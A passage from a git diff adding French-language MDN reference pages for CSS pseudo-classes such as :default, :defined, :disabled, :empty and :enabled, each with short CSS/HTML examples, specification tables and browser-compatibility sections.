+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','300','450')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-checked', ':checked')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-checked', ':checked')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>La sémantique relative au HTML est définie.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#checked', ':checked')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-checked', ':checked')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Lien avec la spécification de niveau 3 pour les sélecteurs.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#checked', ':checked')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition de la pseudo-classe mais pas de la sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.checked")}}</p>
diff --git a/files/fr/web/css/_colon_default/index.html b/files/fr/web/css/_colon_default/index.html
new file mode 100644
index 0000000000..6dbe175935
--- /dev/null
+++ b/files/fr/web/css/_colon_default/index.html
@@ -0,0 +1,114 @@
+---
+title: ':default'
+slug: 'Web/CSS/:default'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:default'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:default</code></strong> représente un élément de l'interface utilisateur qui est l'élément par défaut parmi d'autres éléments semblables (par exemple le bouton par défaut d'un groupe de boutons).</p>
+
+<pre class="brush: css no-line-numbers">/* Cible l'élément par défaut d'un groupe */
+:default {
+  background-color: lime;
+}</pre>
+
+<p>Ainsi, le bouton actionné par défaut parmi plusieurs boutons pourra être mis en forme en le ciblant avec cette pseudo-classe.</p>
+
+<p>Ce sélecteur peut être utilisé sur des éléments {{htmlelement("button")}}, <code><a href="/fr/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code>, <code><a href="/fr/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code> et {{htmlelement("option")}} :</p>
+
+<ul>
+ <li>Un élément <code>&lt;option&gt;</code> par défaut est le premier qui possède l'attribut <code>selected</code> ou le premier qui est activé selon l'ordre du DOM.</li>
+ <li>Les éléments <code>&lt;input type="checkbox"&gt;</code> et <code>&lt;input type="radio"&gt;</code> seront ciblés s'ils possèdent l'attribut <code>checked</code>.</li>
+ <li>L'élément <code>&lt;button&gt;</code> est ciblé si c'est le bouton d'envoi par défaut d'un formulaire, c'est-à-dire le premier bouton (selon l'ordre du DOM) appartenant au formulaire (cela vaut également pour les éléments {{htmlelement("input")}} dont le type permet d'envoyer des formulaires tels que <code>image</code> ou <code>submit</code>).</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La spécification WHATWG HTML définit cela dans <a href="https://html.spec.whatwg.org/multipage/semantics-other.html#selector-default">le paragraphe 4.16.3</a>.</p>
+</div>
+
+<p>Les éléments de l'interface utilisateur qui permette une sélection multiple peuvent avoir plusieurs éléments par défaut. Dans ce cas, tous les éléments par défaut sont ciblés via la pseudo-classe <code>:default</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input:default {
+  box-shadow: 0 0 2px 1px coral;
+}
+
+input:default + label {
+  color: coral;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;fieldset&gt;
+  &lt;legend&gt;Saison préférée&lt;/legend&gt;
+
+  &lt;input type="radio" name="season" id="spring"&gt;
+  &lt;label for="spring"&gt;Printemps&lt;/label&gt;
+
+  &lt;input type="radio" name="season" id="summer" checked&gt;
+  &lt;label for="summer"&gt;Eté&lt;/label&gt;
+
+  &lt;input type="radio" name="season" id="fall"&gt;
+  &lt;label for="fall"&gt;Automne&lt;/label&gt;
+
+  &lt;input type="radio" name="season" id="winter"&gt;
+  &lt;label for="winter"&gt;Hiver&lt;/label&gt;
+&lt;/fieldset&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-default', ':default')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-default', ':default')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>La sémantique liée au HTML est définie et les contraintes de validation sont également définies.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#default-pseudo', ':default')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-default', ':default')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition initiale de la pseudo-classe mais pas de la sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.default")}}</p>
diff --git a/files/fr/web/css/_colon_defined/index.html b/files/fr/web/css/_colon_defined/index.html
new file mode 100644
index 0000000000..9bdc667302
--- /dev/null
+++ b/files/fr/web/css/_colon_defined/index.html
@@ -0,0 +1,124 @@
+---
+title: ':defined'
+slug: 'Web/CSS/:defined'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:defined'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:defined</code></strong> représente n'importe quel élément ayant été défini. Cela inclut les éléments standards provenant du navigateur et également les éléments personnalisés (<em>custom elements</em>) ayant correctement été définis (c'est-à-dire grâce à la méthode {{domxref("CustomElementRegistry.define()")}}).</p>
+
+<pre class="brush: css no-line-numbers">/* Cette règle cible tout élément défini */
+:defined {
+  font-style: italic;
+}
+
+/* Cette règle cible n'importe quelle instance */
+/* d'un élément personnalisé donné */
+simple-custom:defined {
+  display: block;
+}
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les fragments de code qui suivent sont tirés <a href="https://github.com/mdn/web-components-examples/tree/master/defined-pseudo-class">du dépôt <code>defined-pseudo-class</code></a> (<a href="https://mdn.github.io/web-components-examples/defined-pseudo-class/">voir le résultat en <em>live</em></a>).</p>
+
+<p>Pour cette démonstration on définit un élément personnalisé trivial :</p>
+
+<pre class="brush: js">customElements.define('simple-custom',
+  class extends HTMLElement {
+    constructor() {
+      super();
+
+      let divElem = document.createElement('div');
+      divElem.textContent = this.getAttribute('text');
+
+      let shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(divElem);
+  }
+})</pre>
+
+<p>On insère une copie de cet élément dans le document, à côté d'un paragraphe classique {{HTMLElement("p")}}  :</p>
+
+<pre class="brush: html">&lt;simple-custom text="Le texte de l'élément personnalisé"&gt;&lt;/simple-custom&gt;
+
+&lt;p&gt;Un paragraphe normal.&lt;/p&gt;</pre>
+
+<p>Dans la feuille CSS, on inclut les règles suivantes :</p>
+
+<pre class="brush: css">// On utilise deux arrières-plans distincts
+// pour ces deux éléments
+p {
+  background: yellow;
+}
+
+simple-custom {
+  display: block;
+  background: cyan;
+}
+
+// On met en italique le texte de ces
+// deux éléments
+:defined {
+  font-style: italic;
+}</pre>
+
+<p>Ensuite, on fournit les deux règles suivantes afin de masquer les instances de l'élément personnalisé qui ne sont pas définies et, pour celles qui sont définies, on indique que ce sont des éléments de bloc :</p>
+
+<pre class="brush: css">simple-custom:not(:defined) {
+  opacity: 0;
+}
+
+simple-custom:defined {
+  opacity: 0.75;
+  text-decoration: underline;
+}</pre>
+
+<p>Ces dernières règles sont utiles lorsqu'on a un élément personnalisé complexe qui met du temps à charger : pour ceux-là, on peut vouloir les masquer jusqu'à ce que la définition soit complète afin de ne pas avoir de scintillement d'éléments non mis en formes sur la page.</p>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics-other.html#selector-defined', ':defined')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.defined")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Web_Components">Les composants web</a></li>
+ <li>{{cssxref(":host")}}</li>
+ <li>{{cssxref(":host()")}}</li>
+ <li>{{cssxref(":host-context()")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_dir/index.html b/files/fr/web/css/_colon_dir/index.html
new file mode 100644
index 0000000000..7d9197910e
--- /dev/null
+++ b/files/fr/web/css/_colon_dir/index.html
@@ -0,0 +1,110 @@
+---
+title: ':dir'
+slug: 'Web/CSS/:dir'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:dir'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong> <code>:dir</code></strong> permet de cibler un élément selon la direction du texte qu'il contient. En HTML, la direction est définie grâce à l'attribut {{htmlattrxref("dir", "html")}}. Pour les autres types de document, cela peut être déterminé autrement.</p>
+
+<pre class="brush: css">/* Cible le contenu avec du texte */
+/* écrit de droite à gauche */
+:dir(rtl) {
+  background-color: red;
+}</pre>
+
+<p>On notera que la pseudo-classe <code>:dir()</code> ne fonctionne pas de la même façon que le sélecteur d'attribut <code>[dir=…]</code>. Ce dernier utilise la valeur de l'attribut {{htmlattrxref("dir", "html")}} et il n'y a aucune correspondance lorsque l'attribut n'est pas défini (même si l'élément HTML hérite de la valeur de son élément parent). De la même façon <code>[dir=rtl]</code> ou <code>[dir=ltr]</code> ne pourront pas correspondre à la valeur <code>auto</code> qui peut être utilisée sur l'attribut <code>dir</code>. Au contraire, <code>:dir()</code> calculera la correspondance en fonction de la valeur utilisée par l'agent utilisateur (qu'elle soit héritée ou qu'elle vaille <code>auto</code>).</p>
+
+<p><code>:dir()</code> ne prend en compte que la valeur <em>sémantique</em> de la direction, celle qui est définie par le document (la plupart du temps un document HTML). Elle ne tiendra pas compte de la direction liée à la mise en forme, purement stylistique, modifiée par des propriétés telles que {{cssxref("direction")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p id="Syntaxe_formelle">La pseudo-classe <code>:dir()</code> nécessite un paramètre qui indique la direction du texte qu'on souhaite cibler</p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>direction</code></dt>
+ <dd>La direction du texte pour les éléments qu'on souhaite sélectionner. La valeur peut être <code>ltr</code> (texte écrit de gauche à droite) ou <code>rtl</code> (texte écrit de droite à gauche).</dd>
+ <dt>
+ <h3 id="Syntaxe_formelle_2">Syntaxe formelle</h3>
+
+ <pre class="syntaxbox">{{csssyntax}}</pre>
+ </dt>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:-moz-dir(rtl) {
+  color: lime;
+}
+
+:dir(rtl) {
+  color: lime;
+}
+
+:-moz-dir(ltr) {
+  color: black;
+}
+
+:dir(ltr) {
+  color: black;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html;">&lt;div dir="rtl"&gt;
+  &lt;span&gt;test1&lt;/span&gt;
+  &lt;div dir="ltr"&gt;test2
+    &lt;div dir="auto"&gt;עִבְרִית&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", 70)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-ltr', ':dir(ltr)')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#the-dir-pseudo', ':dir()')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.dir")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":lang")}}</li>
+ <li>{{cssxref(":dir")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_disabled/index.html b/files/fr/web/css/_colon_disabled/index.html
new file mode 100644
index 0000000000..8c7e609d58
--- /dev/null
+++ b/files/fr/web/css/_colon_disabled/index.html
@@ -0,0 +1,117 @@
+---
+title: ':disabled'
+slug: 'Web/CSS/:disabled'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:disabled'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:disabled</code></strong> permet de cibler un élément désactivé. Un élément est désactivé s'il ne peut pas être activé (sélectionné, cliqué ou saisi) ou s'il ne peut pas recevoir le focus de l'utilisateur. L'élément possède également un état activé dans lequel il peut être sélectionné ou recevoir le focus.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible tous les champs de saisie texte */
+/* qui sont désactivés */
+input[type="text"]:disabled {
+  background: #ccc;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input[type="text"]:disabled { background: #ccc; }
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Adresse de livraison&lt;/legend&gt;
+    &lt;input type="text" placeholder="Nom"&gt;
+    &lt;input type="text" placeholder="Adresse"&gt;
+    &lt;input type="text" placeholder="Code postal"&gt;
+  &lt;/fieldset&gt;
+  &lt;fieldset id="facturation"&gt;
+    &lt;legend&gt;Adresse de facturation&lt;/legend&gt;
+    &lt;label for="facturation_livraison"&gt;Identique à l'adresse de livraison&lt;/label&gt;
+    &lt;input type="checkbox" id="facturation_livraison" onchange="javascript:toggleBilling()" checked&gt;
+    &lt;br /&gt;
+    &lt;input type="text" placeholder="Nom" disabled&gt;
+    &lt;input type="text" placeholder="Adresse" disabled&gt;
+    &lt;input type="text" placeholder="Code postal" disabled&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function toggleBilling() {
+  var billingItems = document.querySelectorAll('#facturation input[type="text"]');
+  for (var i = 0; i &lt; billingItems.length; i++) {
+    billingItems[i].disabled = !billingItems[i].disabled;
+  }
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '300px', '250px')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-disabled', ':disabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-disabled', ':disabled')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition de la sémantique relative à HTML et aux formulaires.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':disabled')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-classes', ':disabled')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Référence à la spécification de niveau 3 sur les sélecteurs.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':disabled')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition de la pseudo-classe mais sans la sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.disabled")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>
+  <p>{{cssxref(":enabled")}}</p>
+ </li>
+</ul>
diff --git a/files/fr/web/css/_colon_empty/index.html b/files/fr/web/css/_colon_empty/index.html
new file mode 100644
index 0000000000..ef31669639
--- /dev/null
+++ b/files/fr/web/css/_colon_empty/index.html
@@ -0,0 +1,108 @@
+---
+title: ':empty'
+slug: 'Web/CSS/:empty'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:empty'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:empty</code></strong> correspond à un élément qui n'a aucun enfant. Seules les feuilles de l'arbre et le texte (espaces inclus) sont pris en compte. Les commentaires, les attributs ou le contenu généré en CSS avec {{cssxref("content")}} n'ont pas d'influence sur le contenu de l'élément (autrement dit, si un élément ne contient que des commentaires, il sera considéré comme vide).</p>
+
+<pre class="brush: css no-line-numbers">/* Cible tous les éléments &lt;div&gt; qui */
+/* n'ont  pas de contenu */
+div:empty {
+  background: lime;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Avec {{SpecName("CSS4 Selectors", "#the-empty-pseudo")}}, le sélecteur <code>:empty</code> a été modifié afin de se comporter comme <span style="white-space: nowrap;">{{CSSxRef(":-moz-only-whitespace")}}</span> mais, à l'heure actuelle, aucun navigateur ne prend en charge cette fonctionnalité.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">body {
+  display: flex;
+  justify-content: space-around;
+}
+
+.box {
+  background: red;
+  height: 100px;
+  width: 100px;
+}
+
+.box:empty {
+  background: blue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="box"&gt;&lt;!-- Je serai bleu. --&gt;&lt;/div&gt;
+&lt;div class="box"&gt;Je serai rouge.&lt;/div&gt;
+&lt;div class="box"&gt;
+    &lt;!-- Je serai rouge à cause des espaces autour du commentaire --&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','100%','105')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les technologies d'assistance telles que les lecteurs d'écran ne peuvent pas analyser un contenu interactif vide. Tout contenu interactif doit avoir un nom accessible, fourni sous la forme d'une valeur textuelle via l'élément parent du contrôle ({{HTMLElement("a")}}, {{HTMLElement("button")}}, etc.). Les noms accessibles pemettent d'exposer le contrôle interactif au sein de <a href="/fr/Apprendre/a11y/What_is_accessibility">l'arbre d'accessibilité</a>, une API communiquant des informations qui peuvent être utilisées par les technologies d'assistance.</p>
+
+<p>Le texte fournissant le nom accessible peut être masqué grâce <a href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link" rel="noopener">à des propriétés</a> afin de le retirer visuellement mais de le conserver pour les technologies d'assistance. Cette méthode est généralement utilisée pour les boutons utilisant une simple icône comme indication.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/04/what-is-an-accessible-name/" hreflang="en">Qu'est-ce qu'un nom accessible ? The Paciello Group (en anglais)</a></li>
+ <li><a href="https://gomakethings.com/hidden-content-for-better-a11y/" hreflang="en"><em lang="en">Hidden content for better a11y</em> (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">Comprendre la règle WCAG 2.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-refs.html" hreflang="en"><em lang="en">Understanding Success Criterion 2.4.4</em> (en anglais) </a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-empty-pseudo", ":empty")}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Modifier afin d'obtenir le comportement de {{CSSxRef(":-moz-only-whitespace")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#empty-pseudo", ":empty")}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.empty")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":blank")}}{{Experimental_inline}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_enabled/index.html b/files/fr/web/css/_colon_enabled/index.html
new file mode 100644
index 0000000000..7fdc81910f
--- /dev/null
+++ b/files/fr/web/css/_colon_enabled/index.html
@@ -0,0 +1,106 @@
+---
+title: ':enabled'
+slug: 'Web/CSS/:enabled'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:enabled'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:enabled</code></strong> permet de cibler un élément activé. Un élément est activé s'il peut être sélectionné, si on peut cliquer dessus ou si on peut y saisir du texte ou y passer le focus (un élément peut également être dans un état désactivé).</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément &lt;input&gt; actif */
+input:enabled {
+  color: #22AA22;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, les textes des éléments activés seront verts alors que ceux des éléments désactivés seront gris. L'utilisateur peut ainsi reconnaître les éléments avec lesquels interagir.</p>
+
+<div id="Enabled_Disabled_Inputs_Example">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;form action="url_of_form"&gt;
+  &lt;label for="PremierChamp"&gt;Premier champ (activé) :&lt;/label&gt;
+  &lt;input type="text" id="PremierChamp" value="Titi"&gt;&lt;br /&gt;
+
+  &lt;label for="DeuxiemeChamp"&gt;Deuxième champ (désactivé) :&lt;/label&gt;
+  &lt;input type="text" id="DeuxiemeChamp" value="Toto" disabled="disabled"&gt;&lt;br /&gt;
+
+  &lt;input type="button" value="Envoyer"/&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css; highlight:[1,4]">input:enabled {
+  color: #22AA22;
+}
+
+input:disabled {
+  color: #D9D9D9;
+}
+  </pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div>{{EmbedLiveSample("Exemples",550,95)}}</div>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-enabled', ':enabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-enabled', ':enabled')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition de la sémantique dans le contexte de HTML et des formulaires.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#enableddisabled', ':enabled')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-classes', ':enabled')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Lien vers la spécification des sélecteurs de niveau 3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#enableddisabled', ':enabled')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition de la pseudo-classe mais pas de la sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.enabled")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":disabled")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_first-child/index.html b/files/fr/web/css/_colon_first-child/index.html
new file mode 100644
index 0000000000..508a65a4de
--- /dev/null
+++ b/files/fr/web/css/_colon_first-child/index.html
@@ -0,0 +1,129 @@
+---
+title: ':first-child'
+slug: 'Web/CSS/:first-child'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:first-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:first-child</code></strong> permet de cibler un élément qui est le premier élément fils par rapport à son élément parent.</p>
+
